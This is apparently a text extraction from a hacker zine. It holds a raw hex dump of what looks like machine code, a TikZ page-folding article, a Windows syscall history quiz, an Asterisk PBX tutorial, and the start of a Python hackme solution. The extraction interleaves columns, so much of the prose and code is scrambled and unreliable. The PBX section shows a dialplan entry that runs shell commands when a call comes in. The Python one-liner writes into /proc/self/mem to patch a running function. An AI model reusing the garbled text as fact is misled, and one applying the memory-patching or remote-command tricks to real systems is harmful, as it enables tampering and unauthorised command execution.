a2
69
85
c4
f0
85
a0
a5
f7
24
81
db
4d
0d
12
cf
78
52
41
4f
47
41
2b
01
40
70
83
a5 66 30 09 e6 66 10 05 a0 00 4c 5c a1 4c 4b a7 48 8a 48 98 48 a9 e0 e0 ac 0b d4 c0 60 f0 02 a9 a0 8d 09 d4 a2 04 8d 0a d4 b5 f7 9d 16 d0
ca 10 f8 ad 08 d0 0d 09 d0 0d 0a d0 0d 0b d0 85 83 ad 0f d0 85 82 68 68 a8 68 aa 68 40 48 a9 00 8d 0e d2 a9 40 8d 0e d2 ad 09 d2 09 c0 85

01
9d
9d
d2
4a
95
b7
d0
84
a5
85
8a
a5
e6
a4
02
3f
c8
a5
03
ca
70
08
76
24
00
7e
a1
0a
04
00
8c
41
54
c3
4e
c4
1f
01
00
70
85
ca 68 40 99 a4 00 e8 88 10 0e 20 82 a7 a9 05 85 a2 2c 95 09 70 09 a0 a0 02 bd f9 ba c9 fe d0 e4 60 a9 55 85 6b a5 a4 85 6e 29 7f 85 a4 a4

9d
a2
2a
09
38
a2
f0
06
6a
6a
68
29
db
d2
cd
fe
8d
65
8e
bc
a9
85
d0
7e
24
28
7e
09
3c
04
00
23
57
d3
3a
49
45
11
03
50
10
87
a5 b9 00 08 85 68 b9 64 08 85 69 a5 a6 4a 4a 85 6a a5 a6 29 03 a8 b9 b9 b0 ba 25 6b a4 6a 11 68 91 68 24 6e 10 04 e6 a5 d0 02 e6 a6 c6 a4

de
0a
0c
bf
e5
ff
14
b5
a6
10
a5
0f
f0
bd
b9
7d
fc
cc
85
1e
11
d2
02
7e
7e
28
3c
46
2d
03
00
78
52
52
53
4e
47
01
04
08
10
89
d0 d0 60 ae 5c 09 a4 a2 c0 05 b0 24 a5 a0 85 a6 b9 6e bf 0a 85 6c 90 90 0d a9 81 85 a4 a5 a1 85 a5 a9 aa 20 84 a7 e6 a6 a5 6c d0 e8 e6 a1
e6 a2 60 c0 0a 90 f9 b5 e9 f0 3c bd 71 0a bc de 09 f0 08 c9 0c 90 0a 0a a9 0b 10 06 c9 f5 b0 02 a9 f5 18 69 83 85 a0 bd a2 0a 49 ff bc 0f

09
ad
60
5d
95
e8
a9
eb
6a
21
69
f0
08
5c
e9
09
0b
30
c5
be
8d
0a
e0
3c
3c
28
18
00
1e
02
00
b5
45
45
49
49
41
7a
06
00
10
8b
0a d0 08 c9 05 90 0a a9 04 10 06 c9 fa b0 02 a9 fa 18 69 4d 85 a1 a9 a9 00 85 a2 a9 36 85 68 a9 1b 85 69 a2 0e a0 06 b1 68 29 55 91 68 88

d0
0a
18
d3
b0
10
02
f0
bd
c0
9d
03
c6
bf
be
bd
a5
25
a5
20
1b
2d
09
18
3c
28
03
00
0e
02
00
23
50
46
20
41
4d
75
06
a0
80
8d
10 f7 18 a5 68 69 28 85 68 90 02 e6 69 ca 10 e7 ae 5c 09 c8 a5 88 f0 f0 04 c6 88 d0 39 a5 a0 c9 81 90 33 c9 85 b0 2f a9 aa 8d fe 1b 8d 04

\end{tikzpicture}\hfill%

0f
d2
65
0a
04
30
9d
02
c9
10
e9
ca
db
8d
85
7d
8d
4a
62
23
d0
71
55
00
3c
ee
0f
10
0c
03
d0
78
59
53
4b
52
41
7a
09
8a
94
8f
1c a5 a1 c9 4b 90 21 c9 4f b0 1d a9 aa 8d 9e 1c 8d a4 1c bd 40 0a c9 c9 0c b0 0e a0 a0 8c 40 1d 8c 68 1d 8c 42 1d 8c 6a 1d 84 a3 60 a4 c0

38
29
6d
0a
49
a2
c9
d6
08
90
0d
86
d0
06
6c
09
18
8a
f0
b2
bd
f0 61 a5 70 c9 fe b0 5c c9 80 90 03 20 b4 a9 a9 03 8d 5c 09 a9 90 8d 8d 8f 0c 85 ec a9 1f 8d 43 0a 38 ad fc 0b e9 77 18 65 c5 29 7f 85 8e

a5
9d
07
3c
00
3d
c8
0a
04
d0
8c
c8
4e
4e
54
c4
75
09
00
88
8a
38 ad 2d 0c e9 7d 18 65 c4 29 7f 85 8f a5 62 f0 11 ad 0a d2 a4 d0 f0 f0 06 8d 2d 0c 8d fc 0b c9 10 b0 14 ad 0a d2 09 10 25 c6 8d 9a 0b ad

fd
0f
9d
26
ff
00
08
eb
10
ed
69
dc
04
d2
29
c9
69
6a
0b
a2
be
07
89
03
18
00
0f
4d
08
04
ce
37
3f
41
41
20
52
6c
01
02
84
04
0a d2 09 10 25 c6 8d cb 0b 60 98 30 11 a9 ff 85 c0 a2 00 20 a6 b3 20 20 a7 b1 a0 1b 4c 8d a9 c6 91 f0 05 a2 02 4c 6f b8 a0 19 20 87 a9 a5

04
c5
2a
6a
69
bd
85
ca
02
c0
00
98
a9
a0
3f
1a
3d
4a
a5
0c
ba
10
a9
02
18
ee
03
a0
06
fe
d0
78
47
52
d2
52
45
61
01
ff
81
04
8f 85 8d a5 8e 85 8c 4a 29 07 aa bd b3 bf 85 c7 a4 92 84 90 a9 00 85 85 7b be c9 08 10 2e a9 ff 85 7b a0 00 a9 00 99 68 0b a9 01 99 af 09

0b
6a
0c
26
01
c9
6a
10
a9
70
85
29
8f
a8
85
90
8d
4a
91
20
c5
09
29
01
22
28
03
f8
04
82
d0
b5
4e
d4
53
4f
44
53
02
18
0c
06
ad 0a d2 25 c7 99 42 0a 98 18 69 31 a8 c9 93 90 e5 ad 42 0a 09 71 8d 8d 42 0a a2 02 4c be b7 f0 0e a9 ff 85 8b a2 06 20 a6 b3 a0 75 20 23
b2 60 a2 01 20 6f b8 a0 17 a9 00 85 71 85 c0 a9 10 85 79 a9 00 85 c1 c1 85 73 85 8a 8d 8f 0c 85 80 c0 17 f0 04 85 e9 85 ea 85 eb 85 ec 85

9d
90
60
6b
18
08
38
f2
05
b0
69
0f
85
c9
6a
08
2d
4a
2a
a6
6a
93
b0
00
22
28
01
46
00
35
da
37
4f
59
55
c6
4e
43
03
73
08
06
ed 85 75 8d 5c 09 4c 23 b2 c6 c2 10 68 a9 01 85 c1 a9 30 85 79 a9 03 03 85 c2 a6 c3 a9 12 85 69 ad 0a d2 29 03 a8 b9 3a bb 9d 71 0a b9 3e

04
02
c9
0a
65
29
a5
a5
aa
e9
18
f0
dc
ff
a9
a9
0c
c9
2a
b3
f0
2c
80
60
22
28
01
00
e7
52
e5
76
52
47
4f
45
41
00
05
6f
06
08
bb 9d a2 0a 20 be b7 8a a8 a9 05 85 6e 18 a5 68 69 50 85 68 9d d3 0a 0a a5 69 69 00 85 69 9d 40 0a a9 00 9d 66 0b 9d 97 0b 9d c8 0b a9 01

0b
85
32
26
6b
df
cb
73
bd
98
a5
03
a6
d0
2a
10
a5
13
2a
a2
08
0c
c9
09
22
28
0f
00
ca
82
f4
34
57
52
4d
53
4d
00
06
6a
04
08
9d ad 09 a9 63 9d f9 0b 9d 2a 0c 20 c1 ac ca e0 11 b0 02 a2 30 c6 6e 6e 10 c7 86 c3 60 a9 00 85 6d a9 07 85 6e 46 6b 66 6a a5 d0 d0 0f bd

a9
6a
b0
6a
99
9d
e9
f0
d1
29
6a
88
da
0c
85
9d
8f
90
29
16
ca
40 0a 4a 85 69 bd d3 0a 6a 85 68 4c 52 aa 38 a9 00 fd d3 0a 85 68 a9 a9 00 fd 40 0a 4a 85 69 66 68 06 6d 38 a5 6a e5 68 a8 a5 6b e5 69 90

d0
09
4a
22
18
3f
a1
e5
34
e1
b8
20
45
55
41
4d
00
07
64
02
08
\begin{tikzpicture}[remember picture]
06 85 6b 84 6a e6 6d 06 6a 26 6b 90 03 a9 ff 60 c6 6e 10 df a4 6d b9 b9 e9 0d 60 a5 c0 05 7b d0 f9 a5 86 f0 30 a6 89 38 bd f9 0b ed fc 0b

00
9d
38
26
96
c9
12
16
be
0f
69
84
f0
a5
68
7d
4a
04
03
a4
10
c0
55
99
7f
3c
7d
2e
f9
51
e4
5a
53
4e
48
42
4f
50
08
5e
00
0a
90 02 a9 00 20 ca ae 8d cb 0b 8d cc 0b 38 ad 2d 0c fd 2a 0c 20 ca ae ae 8d 9a 0b 38 ad 2e 0c fd 2a 0c 20 ca ae 8d 9b 0b a2 03 d6 ba 10 27

fd
71
85
6b
00
08
85
c6
99
f0
64
dd
1c
d7
a9
09
4a
a9
a8
7c
f6
a5
bd
4a
7f
ff
3f
01
d2
85
00
33
54
c5
54
20
c3
50
01
58
00
0a
8a 4a a8 b9 c8 00 a4 d0 f0 05 49 ff 18 69 01 18 75 b4 10 02 a9 00 c9 c9 10 90 02 a9 0f 95 b4 c9 08 90 02 49 0f 0a 95 ba ca 10 d2 ad 8e 0c

71
0a
6d
a5
88
e8
cb
73
4b
e4
85
8e
c6
85
bc
ca
4a
12
b9
f0
a0
70
09
4a
2a
3c
0f
00
fe
32
f2
5a
41
47
53
4f
4e
5b
01
71
00
0a
d0 1b a4 62 b9 85 bf ae a4 0a 10 02 29 7f 8d ca 0b 09 80 ae 73 0a 10 10 02 29 7f 8d 99 0b a5 76 29 03 f0 2e a5 e6 f0 04 a5 eb d0 25 ad 0a
d2 c9 04 b0 1e a9 60 8d 8e 0c a2 02 20 64 b7 a9 3c 85 eb a9 88 8d 68 c 68 0b a9 00 8d 2c 0c 8d 99 0b 8d ca 0b 60 a5 a7 49 01 85 a7 aa b5 e9

0a
a9
a9
6d
10
10
a5
d0
0d
c9
6a
03
da
d2
85
10
85
a2
d7
01
10
e6
55
4a
3e
18
0f
06
ed
50
e1
31
48
4e
4f
54
49
52
05
6d
20
0c
d0 42 a5 e9 05 ea 29 01 a4 90 d9 c9 08 b0 ba a9 ff 95 e9 ad 0a d2 29 29 07 a8 b9 89 bf 9d 8c 0c a5 62 f0 03 b9 91 bf 95 a8 a9 01 95 aa 9d

9d
0f
32
49
d4
f5
cc
04
c8
0f
a5
d2
d0
c6
69
ee
6a
0f
be
e8
4c
12
de
4a
3e
18
03
20
fd
82
f4
5a
d7
49
d0
20
41
47
07
67
0e
0c
ad 09 ad 0a d2 25 c7 9d a2 0a 69 13 9d 71 0a 09 71 9d 40 0a 20 be b7 b7 bd 40 0a c9 20 b0 11 bd ad 09 f0 08 b5 e4 f0 08 c9 29 f0 04 a9 00

71
9d
e0
ff
a9
2c
e9
a2
e6
f0
6b
8c
0a
d3
e6
88
a5
85
85
8e
23
b0
33
8a
3e
3c
0f
09
c0
34
f3
2e
47
4b
45
54
54
7a
09
61
0e
0c
95 a8 d6 aa 10 24 a9 78 95 aa a5 62 ac 0a d2 c0 30 90 01 4a 4a 95 b8 b8 b5 a8 2c 0a d2 10 02 49 0f 95 ac e8 e8 e0 06 90 f1 a6 a7 b5 a8 d0
32 a4 a7 c0 31 b0 13 b9 b8 00 4a b9 40 0a b0 06 c9 0a 90 0e b0 04 c9 c9 f5 b0 04 b9 ad 09 4a a9 0f b0 02 a9 00 95 ac 18 98 69 31 a8 e8 e8

0a
40
05
85
01
97
00
11
6a
e0
9d
05
a9
10
68
d0
8e
cd
c6
5a
b2
70
70
09
14
ff
03
49
ff
4f
00
5a
4e
43
52
52
50
7b
0b
5b
0e
0e
e0 06 90 d2 a6 a7 a4 a7 b5 b2 d5 ac f0 08 b0 04 f6 b2 90 02 d6 b2 86 86 6a aa bd 99 bf a6 6a 99 66 0b 98 18 69 31 a8 e8 e8 e0 06 90 dc a6

60
0a
b0
6d
85
09
85
86
a5
b9
e9
d2
af
e4
d0
e9
29
a8
a0
09
e0
c6
64
4b
1c
ff
03
46
f8
82
32
2c
49
4f
49
4f
41
bc
0d
55
0c
0e
a7 ad 8e 0c d0 0b a5 eb d0 06 a5 be f0 03 c6 be 60 18 bd a2 0a 69 02 02 c9 05 b0 f5 a0 d0 bd ad 09 4a bd 40 0a b0 08 49 ff a4 62 f0 e4 a0

bd
a5
04
30
6b
70
cc
79
6a
c8
0e
60
85
a0
02
60
70
8a
11
20
0a
04
24
99
1c
ff
1f
00
f0
35
2c
66
4b
c4
46
50
c3
b4
0f
fe
0c
0e
50 c9 20 b0 de 8c 68 0b a9 00 8d 8e 0c 8d 2c 0c a9 3e 85 eb a2 02 a4 a4 a7 84 bf 4c af ac a9 80 85 73 a2 30 86 79 ad 0a d2 29 0f 79 2a 0c

\clip[use as bounding box] (0,0) rectangle

c8
d0
06
1a
a0
1d
e8
c9
29
08
f8
bd
dc
00
e6
a5
05
c0
4c
0d
b0
e9 30 9d 2a 0c ad 0a d2 29 0f 79 f9 0b 4a e9 10 9d f9 0b 20 af ac ad ad 0a d2 29 87 9d 66 0b ad 0a d2 29 87 9d 97 0b ad 0a d2 29 87 9d c8

90
03
0f
42
3c
1f
8d
f5
4e
23
fc
43
44
20
45
52
aa
01
b4
0c
9f
0b ca e0 10 d0 c5 60 b9 ad 09 9d ad 09 b9 40 0a 9d 40 0a b9 d3 0a 9d 9d d3 0a b9 de 09 9d de 09 b9 71 0a 9d 71 0a b9 0f 0a 9d 0f 0a b9 a2

08
49
6d
18
07
a2
10
70
0f
19
69
3e
a9
84
69
d1
6a
00
23
ae
1d
08
a2
29
42
18
7f
10
f3
fe
33
25
41
45
4e
d2
4f
9d
01
50
0c
00
0a 9d a2 0a b9 04 0b 9d 04 0b b9 35 0b 9d 35 0b 60 a5 7b f0 fb a5 d0 d0 d0 05 a9 14 8d 1b d0 a9 02 8d 5c 09 a9 30 8d 8e 0c a9 20 8d 8d 0c

f0
01
a9
b9
b9
00
df
b0
d0
ca
00
bf
02
d6
a0
f0
85
f0
b2
a5
a5
f0
39
aa
42
00
ea
38
db
0f
25
fd
52
48
4f
53
49
8e
03
00
01
00
a9 40 8d 8c 0c a9 ff a6 90 bc c9 08 30 02 a9 00 85 e9 85 ea 85 eb 85 85 7b 30 0a a0 02 20 6b ac a2 0a 4c a8 ae ad 42 0a d0 0a ad d5 0a c9

0d
29
7a
d3
96
bd
a5
04
e7
08
d8
c5
85
8c
00
05
92
0b
e0
7e
c0
71
b0
0e
42
3c
7f
38
dd
32
30
9f
d4
53
4c
4e
52
7e
04
50
ff
a0
20 b0 03 ee d5 0a ad 2c 0c 38 e9 78 c9 10 b0 22 ad fb 0b 38 e9 68 c9 c9 10 b0 18 ad 42 0a c9 02 b0 11 ad af 09 2d 11 0a 49 01 05 70 0d a4
0a 05 71 f0 10 a5 75 c9 02 90 05 a0 1f 20 23 b2 a9 00 85 75 60 24 75 75 70 0d 30 42 a5 75 d0 f5 c6 75 a0 1c 4c 23 b2 a2 00 86 65 a4 d1 d0

bd
01
24
0a
00
c9
6a
a2
a9
19
85
d6
de
07
b1
c6
aa
c0
13
f0
f0
e4
7f
e9
42
7e
1f
10
d8
54
1a
24
52
49
59
4f
52
00
08
4e
84
00
e6 a9 50 8d 90 0c a9 01 8d b1 09 8d e2 09 8d 13 0a 8d a6 0a 8d 9b 0b 0b a9 10 8d 44 0a a9 00 8d 75 0a a9 87 8d 6a 0b a9 81 85 75 8d cc 0b

9d
d0
65
c5
08
f0
00
19
d9
6b
90
85
d2
68
cf
bd
0b
b0
b4
03
70
85
bd
42
ff
1f
18
da
0f
23
8f
45
4c
5a
49
41
00
0a
4c
b4
20
85 ed 60 ad b1 09 d0 fa a2 0c 20 a6 b3 a0 21 20 23 b2 a2 05 bd 8b bb bb 9d 92 09 ca 10 f7 a9 89 a2 03 9d 55 09 ca 10 fa a9 07 8d 6a 0b a9

ad
50
6a
9e
10
0f
86
99
08
e8
0c
df
84
10
f0
c9
90
0b
a6
4c
a6
7f
ca
ff
ff
07
3c
de
32
24
1a
54
42
20
54
d7
00
0d
4a
fc
20
81 8d 9b 0b a9 01 8d cc 0b 85 75 4c 7b b0 78 85 6a ad 0b d4 c9 7c 90 90 f9 b9 62 ba c8 10 02 a9 0d 9d 80 02 e8 c6 6a d0 f0 58 60 a9 10 85

09
13
99
b0
13
2c
8a
4b
19
d0
a0
bd
d9
f4
10
08
04
ad
d0
80
69 a9 00 a8 85 68 85 a3 85 7a 91 68 c8 d0 fb e6 69 a4 69 c0 20 a8 90 90 f2 60 a5 84 ac 10 d0 84 84 d0 0e 84 66 a6 c0 d0 08 a6 87 c9 01 f0

60
c5
01
ff
66
c0
18
df
3e
00
98
55
41
59
41
54
36
0f
91
b4
20
03 b0 18 60 b5 ec c9 e8 b0 f9 ac 5c 09 84 89 a9 0c a4 a3 84 86 f0 02 02 a9 00 85 88 84 84 2c 92 09 70 e1 30 05 8a 49 01 85 87 8a 9d e1 09

d0
2c
d3
24
20
97
c9
0d
b9
db
05
ea
a5
c6
60
10
c0
5c
f0
a9
08
01
d0
5a
e7
f0
3c
f2
84
00
97
50
54
c2
4c
4e
36
00
91
84
00
bd 73 bf 9d 74 0a a9 ff 95 ec 9d a5 0a a9 00 9d 8f 0c 9d 43 0a 9d 07 07 0b 9d 12 0a 9d 38 0b a9 01 9d b0 09 9d d6 0a a5 d0 4a 6a 09 66 9d

(0.5\wd\foldedcontent,-\foldedheight);

11
96
0a
18
f1
09
18
c8
08
a2
bd
bf
e2
6a
a4
02
0f
09
06
2c
d9
69
ff
7e
ff
bc
18
70
52
9a
b8
4d
53
4f
55
41
41
00
91
ff
50
69 0b a9 00 9d 9a 0b 9d cb 0b a2 02 20 6f b8 a2 00 8a d0 06 a5 e1 c9 c9 18 b0 18 a0 07 bd 20 bf 99 da 00 e8 88 10 f6 bd 20 bf 8d 08 d2 bd

9d
09
b9
8a
b7
70
b0
c8
d0
00
3e
85
f0
d0
65
a9
90
49
e0
93
bd
7e
e0
7e
ff
f0
10
60
85
b3
68
4f
c5
52
54
4e
38
00
92
51
40
21 bf 8d 04 d2 60 a0 80 b0 04 49 ff a0 00 84 6a c9 08 90 02 a9 07 a8 a8 a5 6a 19 c9 bf 60 24 64 30 57 a6 62 ad 0a d2 dd 10 bf b0 4d 29 07
c9 06 b0 47 aa bd 92 09 0a 30 eb a5 eb c9 1e a9 80 bc 14 bf 90 17 e0 e0 03 d0 05 2c 96 09 70 0e e0 04 d0 05 2c 95 09 70 05 a9 c0 bc 1a bf

04
10
40
79
f0
0a
02
c8
d2
86
bf
dd
09
f0
f0
00
03
01
01
09
03
65
05
7e
3c
c0
38
40
85
b4
a7
c3
54
45
41
45
2d
00
92
40
38
1d 92 09 9d 92 09 84 65 2c 95 09 50 07 a9 00 85 7e 20 0d ae a0 52 20 20 23 b2 a2 12 20 a6 b3 60 a2 02 ca 10 01 60 bd 8f 0c d0 f7 b5 ec f0

0b
07
0a
c0
0e
a0
c6
c8
a5
68
99
bd
c6
29
fb
09
4a
29
d0
50
f0
80
f0
3c
18
c0
7c
20
4c
a5
fc
4b
49
da
52
54
2b
02
92
48
30
f3 b5 82 29 07 f0 ed 4a c9 03 d0 01 4a a8 b9 e9 00 f0 e1 a5 d0 f0 02 02 a9 ff 85 6c 59 40 0a c9 10 90 02 a9 0f 4a 84 6b a8 a5 6c 5d 43 0a

9d
2c
65
bf
a9
15
79
c0
6a
a9
d2
f2
e2
3f
84
90
49
01
ac
06
08
65
10
24
3c
80
10
10
8c
a7
25
43
42
53
47
55
29
05
93
ff
28
d9 75 bf b0 c2 d9 7d bf 90 bd a4 6b 38 a9 ff f5 ec 85 e2 c9 0f 90 05 05 b9 8c 0c c9 80 a9 00 85 88 95 ec b0 4b 99 e9 00 b9 8c 0c f0 43 c9
60 f0 3f a9 00 85 86 a6 90 de c9 08 10 13 a9 00 9d c9 08 38 a5 cb e9 e9 03 85 cb a5 cc e9 00 85 cc 60 18 a5 cb 69 06 85 cb a5 cc 69 00 85

35
0a
6b
30
63
20
c6
a0
99
10
00
bf
d0
49
d1
2c
08
8d
a2
e0
b9
7d
29
3c
ff
80
7c
08
85
b2
fd
41
52
52
4e
45
25
08
93
20
18

0b
d2
99
1d
85
23
74
90
c9
85
e8
8d
05
a0
a0
97
29
5c
2a
06
bd
65
98
3c
ff
f0
38
04
4c
a1
9f
54
cf
45
4f
49
21
09
93
40
10

38
50
40
84
78
b2
10
da
08
69
88
04
a2
a6
23
09
0f
09
4c
90
08
7f
09
10
ff
fc
10
02
7e
b4
24
54
45
44
c3
cc
1b
01
94
ff
08

e5
0e
0a
6a
a0
a2
21
60
c6
18
10
d2
14
6b
a2
70
85
60
6f
02
f0
a5
49
38
ff
be
18
01
84
00
94
c1
43
49
53
45
15
02
94
10
00
\node[anchor=north] at (0,0) (rightfold)

6a
70
b9
a8
13
18
a9
e6
6b
a5
f6
8d
20
e6
0f
03
ce
d0
a7
a2
08
18
99
28
66
fc
3c
00
47
00
1c
53
41
41
53
43
0d
04
94
10
00

9d
15
ad
b9
20
20
28
76
10
68
60
09
a8
6b
a9
8d
60
08
e0
05
ca
09
6a
38
e7
f0
7e
03
85
00
8e
44
50
52
41
c1
01
07
94
10
f1
PoC GTFO
GTFO PoC

#
7

4
{\usebox{\foldedcontent}};
\end{tikzpicture}
The original puzzle, as as is demonstrated on this
page, was much more T The “[remember picture]” option is so TEXnical. It’s one thing
to draw some fold lines onthat the coordinates of the named nodes lines on a page, but it’s much
more difficult to typeset (i.e., “leftfold” and “rightfold”) can be text that seamlessly and
eset
cleanly spans across a fold referenced from other pictures. We will use fold break. I wanted to
benefit from the beautifulthis next. The columns are differentiated by
eautiful TEX line breaking al-
gorithm discovered by Micplacing the nodes at different locations rela-Michael Plass in his Ph.D.
with Donald Knuth. tive to the clipping rectangle.
The naı̈ve approach wouldThus far we have two outer columns withwould be to simply typeset
all of the text separately, whitespace in between. The final stepseparately,
is to use manually slice the PDF
using an image manipulation TikZ’s “overlay” feature to overlay amanipulation
mini- program, and then
embed it back in the prop page containing the middle content inside of
proper layout. However, this
requires manual processing, the whitespace: cessing, and has the poten-
tial to break features lik \begin{tikzpicture}[remember picture,overlay] like copy/paste and vector
graphics. \node[anchor=north] at ($leftfold.north east)
A more seasoned TEXnician !0.5!(rightfold.north west)$) { Xnician might choose to use
\begin{minipage}[b]{0.46\wd\foldedcontent}
a package like shapepar.sty shapepar.sty to create whitespace
This will be the content in the center.
in the middle, into which \end{minipage}}; which the center column could
be inserted. However, this \end{tikzpicture} this will treat the negative
Scan this QR code for the TEX

space of the inner column column as a line break, causing


Here is a minimal example

TEX to either add whitespace whitespace or hyphenate words.


Paragraph manipulation ation will not allow individual
words to span the folds, as folds, as will happen with long
words like “sesquipedalianism.” edalianism.”
The TEXnique at whic which I arrived was to use a
combination of \newsavebox newsavebox and TikZ clipping.

Evan Sultanik https://www.sultanik.com/


https://twitter.com/ESultanik
CC BY-SA 4.0 https://github.com/ESultanik 18
OS Internals Windows Syscall Quiz

Windows Syscall Quiz Question 2: cross-edition differences


As a general rule, various editions of the same OS
by Mateusz Jurczyk (j00ru) (Home, Pro, Enterprise etc.) use the same underly-
ing kernel and thus share the same set of system calls.
Do you consider yourself a Windows internals expert? However, there is one notable exception. In May 2019,
If you do, then try to correctly answer the following I noticed that in the syscall tables served on my blog,
questions. If not, feel free to follow along and hopefully there were a few names only present in Windows NT
learn some interesting facts about the kernel of the 4.0 SP4, but not in SP3, SP5, or any other system. One
most popular desktop operating system in the world. , such symbol was NtCreateWinStation:
The quiz:

1. How many syscalls do Windows NT 4.0 and Win-


dows 10 1903 have, i.e. how much has the system
call table grown in the 23 years between 1996–2019?
2. Are there differences in the syscall interfaces be-
tween various editions of the same versions of Win-
dows?
3. Have any legitimate driver ever registered their own
syscall table(s) beyond the standard ntoskrnl.exe After a brief evening research with Gynvael Coldwind,
and win32k.sys? we figured out that these syscalls (5 of them in total)
were only found in the Terminal Server Edition of Win-
Ready? Let’s see how you did! dows NT, released two years after Workstation. Consid-
ering that the data came from the original table created
by skape and hosted by Metasploit, the list for SP4 must
Question 1: syscall table growth have been extracted from a TS version of the system, un-
The first release of Windows NT 4.0 Workstation had like for other service packs, and so it has stayed this way
210 core system calls and 496 graphical ones, adding up up until recently. And so the riddle was solved.
to a total of 706. At the time of this writing, the latest
32-bit build of Windows 10 declares 464 + 1256 = 1720 Question 3: non-standard syscall tables
syscalls:
In that same evening, we decided to finally establish if
1250 Windows NT there ever had been real syscalls with IDs above 0x2000,
1256 4.0 i.e. registered in the SSDT by a non-standard driver.
1000 Windows 10 We had heard rumors about IIS doing it at some point
19H1 in time, but we had never observed it in real life.
750 Very quickly, we found several online sources confirm-
ing that story for IIS4 and IIS5, on Windows NT–2000.
500 Some of them pointed us to a driver called SPUD.sys,
464 496
which stands for Special Purpose Utility Driver (if you
250 find that name funny, check the story behind afd.sys).
210 We found the driver on an extra Option Pack CD for
0 Windows NT, and on the standard installation disk of
ntoskrnl.exe win32k.sys Windows 2000. This way, we confirmed that it indeed
called KeAddSystemServiceTable with 9 entries in IIS4
This is a 143% increase in the size of the interface, and 7 entries in IIS5. We also learned that the associ-
which is an attack surface available to locally running ated ring-3 library was isatq.dll, with “atq” meaning
code. In other words, a new system call has been asynchronous thread queue. The only missing piece were
added on average every week for the past two decades. the names of the syscalls.
Of course it is not a fully precise metric as it doesn’t ac- After another while of recon, we managed to dig
count for code hidden behind the win32k!NtUserCall out the symbols for both versions, in a dedicated
family, IOCTLs and many other factors, but it does il- .cab archive (NT) and a complete system symbols
lustrate the growth of the kernel complexity over time. package (2000). Our curiosity was finally satis-
Fortunately, starting with Windows 8 developers can re- fied, with the mysterious syscalls turning out to be
strict access to parts of the attack surface for their sand- SPUD{Initialize, Terminate, TransmitFileAndRecv,
boxed processes, thanks to new features such as the sys- SendAndRecv, Cancel, GetCounts, CreateFile} in
tem call disable policy1 . IIS5, with the addition of SPUDCheckStatus and
1 https://docs.microsoft.com/en-us/windows/win32/api/ SPUDOplockAcknowledge in IIS4. It was a fun arche-
winnt/ns-winnt-process mitigation system call disable policy ological adventure into operating system prehistory.

Blog: https://j00ru.vexillium.org/ Mateusz Jurczyk


Twitter: https://twitter.com/j00ru
GitHub: https://github.com/j00ru SAA-ALL 0.0.5
19
Let Your Server Anwser the Phone Phreaking

Let Your Server idea unless you are confident in your ability to configure
one! The command will execute using the system’s shell.

Answer the Phone exten => 3,1,Shell(echo “Incoming!”)


Ft. Clvrpny, https://disconnectmy.icu
Dungeon Crawler
Have you ever wanted to play a game with a landline
telephone? Do you need to chat with friends but Discord Stitching together extensions, redirects, and messages,
is down again? Did something happen to your VPS but it is easy to create a dungeon crawler style game
you don't have a laptop nearby? Stop worrying and start playable entirely through a phone! For example, let
using a PBX to solve your issues! A Private Branch buttons 2 and 8 be North/South and 4 and 6 be
Exchange, as official as it sounds, isn't just for East/West.
businesses. With the proper configuration, your PBX can
be used for fun as well! Here are a few ideas and [enter]
example snippets to get started. exten=>100,1,Background(greeting)
exten=>2,1,goto(locA,start,1) ;North
Note: The following examples are excerpts from dial exten=>8,1,Playback(blocked) ;South (X)
plans, running on open source software Asterisk PBX exten=>8,2,goto(enter,100,1)
(​www.asterisk.org​). You will also need a SIP trunking
provider to forward VoIP calls to your server! ;East/West
exten=>4,1,Playback(blocked) ;East (X)
Diaplan Basics exten=>4,2,goto(enter,100,1)
exten=>6,1,goto(locD,start,1) ;West
In Asterisk, a dialplan is a file (or files) that determines
how calls are answered, routed, and hung up as they [locA]
pass through your PBX. Each entry in a dialplan has an exten=>start,1,Playback(locA_audio)
extension, priority, and an application, such as: exten=>8,1,goto(enter,100,1) ;South
exten=>_X,1,Playback(blocked)
exten => 300, 1, Answer(50) same =>n,goto(locA)
[locD]
This example simply opens a line when a call comes exten=>start,1,Playback(locD_audio)
through on extension 300. Additional functions must exten=>6,1,goto(enter,100,1) ;West
have an incremental priority number. In general, be sure exten=>_X,1,Playback(blocked)
to always answer and hang up a call as it progresses same =>n,goto(locD)
through the dialplan. Start out with a simple dial plan that
plays a greeting sound and waits 10 seconds for an This example only has three distinct areas, the entry
extension: area, location A (to the north) and location D (to the
east). Attempting to move in a direction where there isn't
exten=> _+<PBXnumber>,1,Answer(50) an area will play a message claiming that the direction is
same => n,Background(greeting) invalid. This is a simple example, for something more
same => n,WaitExten(10) complete consider first drawing a flowchart of areas and
same => n,Hangup() such.

Conference Room For location audio, Asterisk expects a GSM audio file,
which it can natively convert from 8kHz mono WAVs
With a simple one-line addition to your dialplan, you can through the console command:
easily set up a conference room for you and your friends
to discuss important matters: file convert audio.wav audio.gsm

exten => 123, 1, ConfBridge(123) In addition, Asterisk supports setting and controlling flow
based on variables, which can be used to implement a
Running Commands simple inventory system! As variables and logic are
rather large topics, it is recommended to review them on
Your PBX can be used to run commands remotely in a the official online documentation:
pinch. Please note that there is a lot to learn in regards
to securing a PBX, meaning this is probably not a good https://wiki.asterisk.org/wiki/display/AST/Variables

Cleverpony disconnectmy.icu
WTFPL
20
Programming A Python Pwnliner's Tale

A PYTHON PWNLINER' S TALE


INTRODUCTION
A while back, the friendly warlock @domenuk posted a series of small hackmes
fitting the size of a tweet. Among them, the one showed to the right.
It didn't take long for the community to realize that this challenge is trivially
solvable using the ctypes or inspect module. This was challenge enough to
come up with a solution which works out of the box without relying on additional
modules.
Furthermore, it is an old tradition to express spells in single, unreadable lines, so
the following scroll of solvableness was crafted eventually:
so lve_me ( la
[ ( x, g. re ad mb da : [ g. wr it e(
x) , g) fo r x,b'y,\x 02 ' ) fo r x, y, g
[ x[ 0] . sp li t(( 'y- in [ ( x, y. fi nd( gl
if g. se ek ( x) ] ] -' ) fo r x in [ x.gspin [ ( in t( x[ 0] , 16 ) , in ob al s( ) [ ' so lv
if y! =- 1 an d g. li t( ' ' ) fo r x in opt(enx[ 1] , 16 ) , op en ( ' /p ro c/e_ me ' ] . __co __. co
se lf /mem' , de' r+ _c ode) , g) fo r x,
se ek ( x+ y+ 2 5) ] ) ( ' /p ro c/ se lf /map b' ) ) y, g in
s' ) . re ad( ) . sp li t( ' \n ' ) ] [ :fo r x in

OBSERVATIONS -1 ] if ' w' in x[


1] ] ]

List compr ehensio


n There is a lot to unpack here, but a couple of things become immediatly visible upon closer examination:
Firstly, the full solution is squeezed into a single lambda function allowing for a solution within a single
non-r eadabil it y!
